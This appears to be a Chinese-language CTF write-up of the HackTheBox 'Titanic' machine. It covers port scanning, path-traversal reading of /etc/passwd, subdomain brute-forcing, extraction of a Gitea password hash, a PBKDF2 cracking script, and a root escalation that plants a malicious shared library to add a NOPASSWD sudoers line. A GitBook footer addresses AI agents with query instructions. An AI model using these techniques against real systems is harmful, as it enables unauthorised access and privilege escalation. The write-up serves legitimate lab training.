> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Titanic HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * **本地文件包含（LFI）** * **Gitea 数据库提取** * **ImageMagick 漏洞利用（权限提升）** {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80） ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

然后我们把 IP 添加到我们的 `/etc/hosts` 文件：

### 扫描 80 端口（HTTP） ####

### 扫描 80 端口（HTTP） #### 技术识别使用 `wappalyzer`，我们识别出该站点使用了 **Flask 和 Python**

## 本地文件包含（LFI）

该站点提供了一个预订行程的选项，会返回一个 JSON 文件。

通过使用 **Burp Suite**拦截请求时，我们注意到一个 `下载` 参数，允许访问以下文件：

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` 我们测试一个文件包含： ``` /download?ticket=/etc/passwd ```

使用 `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` 我们获取到系统用户，包括 **developer**.

### 子域名爆破我们使用以下工具搜索子域名： **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

我们发现 **dev.titanic.htb**，我们将其添加到 `/etc/hosts`.

## Gitea 利用在 **dev** 子域名，我们找到了一个 **Gitea** 实例。

#### 创建用户

我们发现一个以明文存储的密码（数据库）：

在探索 Gitea SQLite 数据库时，我们找到了它的路径：

`/home/developer/gitea/data/gitea/gitea.db`

在这里连接： ```sql sqlite3 gitea.db .tables ```

然后提取密码哈希： ```sql SELECT lower_name, passwd, salt FROM user; ```

### 带盐哈希暴力破解 #### 哈希： ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### 盐： ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` 我们使用一个 Python 脚本来破解哈希： ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"计数：{count}：{password}") if hash_value == target_hash_bytes: print(f"/n找到的密码：{password}") return password print("未找到密码。") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - 找到的密码是 **25282528**.

然后通过 SSH 连接： ```bash ssh developer@ticanic.htb ```

### user.txt 标志 :)

## 权限提升 ### Cron 任务 - ImageMagick 利用在 `/opt/`，我们找到了一个脚本 `script.sh` 自动执行

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > 这个 shell 脚本首先会切换到 `/opt/app/static/assets/images` 文件夹，然后会清空 `metadata.log` 文件（如果存在）。然后它会搜索所有 `.jpg` 该目录中的文件，并使用 ImageMagick 的 `identify` 命令提取它们的元数据（大小、格式、颜色深度等）。这些信息随后被保存到 `metadata.log`. 因此，这个脚本允许你为指定文件夹中存在的所有 JPG 图像生成一个更新后的元数据文件。该脚本使用 **ImageMagick**，一个存在漏洞的版本。 ```bash magicks --version ```

### 通过 `LD_PRELOAD` 我们创建一个 `a.c` 文件： ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` 编译： ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

我们把它添加到由 `ImageMagick`监控并可执行的目录中。然后，我们执行： ```bash su root ```

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.